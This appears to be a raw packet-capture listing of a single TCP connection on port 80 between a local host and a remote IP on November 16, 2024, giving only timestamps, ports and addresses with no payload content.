Nov 16, 2024 20:12:37.843705893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843735933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843770981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843803883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843816042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843844891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843854904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843875885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843908072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843930006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843944073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843976974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844010115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844024897 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844058037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844062090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844095945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844129086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844160080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844187975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844222069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844233990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844260931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844294071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844329119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844347954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844360113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844389915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844393969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844434023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844583988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844659090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844667912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844686031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844705105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844801903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.844943047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.844996929 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845026016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845057964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845093012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845135927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845141888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845187902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845196962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845210075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845242977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845263004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845276117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845309019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845319033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845345974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845410109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845427036 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845513105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845565081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845566034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845599890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845633984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845640898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.845671892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.845715046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.864046097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.867357969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.890690088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.890741110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.890778065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.890811920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.890840054 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.890849113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.890863895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.890886068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.890918970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.890938044 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.890953064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.891056061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.895195007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895230055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895263910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895286083 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.895303965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895359039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895391941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895407915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.895426989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895433903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.895551920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895585060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895618916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.895647049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.895659924 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.937674046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.937726974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.937762976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.937796116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.937828064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.937833071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.937858105 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.962995052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.963052034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.963087082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.963113070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.963145018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.966804981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.966835976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.966876984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.966885090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.966918945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.966948032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.966995955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.966998100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967032909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967041016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967082024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967116117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967148066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967158079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967185020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967186928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967233896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967283010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967323065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967335939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967372894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967386007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967406034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967458963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967504978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967513084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967546940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967556000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967581034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967613935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967645884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967654943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967680931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967716932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967720032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967749119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967758894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967801094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967833042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967868090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967873096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967907906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.967933893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.967986107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968018055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968064070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968067884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968101025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968111038 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968136072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968168974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968205929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968209028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968234062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968246937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968352079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968379974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968420029 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968430042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968461990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968471050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968496084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968528032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968569994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968607903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968641043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968653917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968673944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968717098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968759060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968766928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968801022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968807936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.968835115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968869925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.968909025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.973242044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.973274946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.973309040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.973331928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.973341942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.973349094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.973376989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.975733042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.012506008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012576103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012613058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012645006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.012651920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012689114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012748003 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.012811899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012856960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.012862921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012914896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012943029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.012984991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.017064095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017092943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017143011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017148972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.017177105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017188072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.017210007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017260075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017292976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017302990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.017327070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017328978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.017359018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017393112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.017432928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.018801928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.018831015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.018887997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.059293985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059372902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059408903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059442997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059446096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.059478045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059482098 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.059511900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059546947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059564114 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.059577942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.059602022 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.087636948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.087658882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.087675095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.087709904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.087759972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089442968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089462042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089483976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089508057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089589119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089605093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089620113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089626074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089658976 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089662075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089678049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089692116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089708090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089732885 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089735031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089751005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089761972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089766026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089791059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089797974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089806080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089822054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089828968 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089837074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089853048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089860916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089869022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089885950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.089906931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.089930058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090039968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090054989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090069056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090082884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090107918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090109110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090125084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090132952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090150118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090163946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090166092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090178967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090193987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090200901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090210915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090226889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090249062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090271950 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090451002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090466022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090481997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090503931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090560913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090575933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090590954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090600967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090606928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090622902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090637922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090653896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090657949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090671062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090678930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090704918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090895891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090912104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090928078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090943098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090951920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090976000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.090976954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.090992928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.091008902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.091012001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.091047049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.091079950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.091093063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.091130018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.134752035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.134819984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.134855032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.134887934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.134897947 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.134923935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.134933949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.136187077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.136221886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.136256933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.136280060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.136316061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.141124010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141160011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141194105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141220093 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.141226053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141261101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141273975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.141293049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141325951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141340971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.141359091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141393900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.141444921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.182029963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.182058096 CET	80	49744	185.215.113.16	192.168.2.4
